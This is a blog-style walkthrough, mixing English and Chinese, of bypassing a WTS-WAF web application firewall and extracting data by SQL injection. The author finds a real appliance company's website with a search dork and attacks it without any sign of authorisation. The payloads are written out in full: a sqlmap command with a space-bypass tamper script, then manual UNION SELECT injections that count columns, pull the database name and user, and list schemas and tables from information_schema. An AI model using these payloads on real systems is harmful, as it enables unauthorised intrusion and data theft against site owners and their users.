How to conduct analysis to bypass WTS-WAF

##0x01.Looking for the target

inurl:.php?id= intext:电器

I found the website of an electrical appliance company, and tested it casually, and found that there is waf

This has not been arranged yet (I found some information, it seems that just adding a sign instead of a space is enough, try it directly)

0x02.Operation

It was found that there is no waf interception

The information also said that

sqlmap.py -u http://*/*.php?id=29 --tables --tamper space2plus.py

I tried the tool and found that it could not be started.

That’s it...

0x03.Hand Note

http://*/*.php?id=1+and+1=1  #回显正常
http://*/*.php?id=1+and+1=2  #回显错误
说明存在注入

http://*/*.php?id=1+order+by+15  #15回显错误
http://*/*.php?id=1+order+by+14  #14回显正常
说明有14个字段

http://*/*.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14  #-1让它错误然后执行后面

It echoed the 2nd and 8th

http://*/*.php?id=-1+union+select+1,database(),3,4,5,6,7,user(),9,10,11,12,13,14  #查询当前数据库信息和当前用户
一些常见的函数
version()  #显示数据库当前版本
database() / schema()  #显示当前数据库名
user() / system_user() / session_user() / current_user() / current_user()  #显示当前用户名称
charset(str)  #返回字符串str的字符集
collation(str)  #返回字符串str的字符排列方式

0x04.Check data

Explosion database

http://*/*.php?id=-1+union+select+1,group_concat(schema_name),3,4,5,6,7,user(),9,10,11,12,13,14+from+information_schema.schemata+limit+0,1

它不能group_concat,那我就一个一个查了！
http://*/*.php?id=-1+union+select+1,schema_name,3,4,5,6,7,user(),9,10,11,12,13,14+from+information_schema.schemata+limit+0,1 #从1开始取一个
http://*/*.php?id=-1+union+select+1,schema_name,3,4,5,6,7,user(),9,10,11,12,13,14+from+information_schema.schemata+limit+1,1  #从2开始取一个

Explosive data table

http://*/*.php?id=-1+union+select+1,2,3,4,5,6,7,group_concat(table_name),9,10,11,12,13,14+from+information_schema.tables+where+table_schema=database()+limit+0,1

http://*/*.php?id=-1+union+select+1,2,3,4,5,6,7,table_name,9,10,11,12,13,14+from+information_schema.tables+where+table_schema=database()+limit+0,1

Explosive data

http://*/*.php?id=-1+union+select+1,2,3,4,5,6,7,字段名,9,10,11,12,13,14+表名+limit+0,1

Summary:

1. If the tool cannot run, it can only be done by hand Note

2. Practice the manual note of mysql
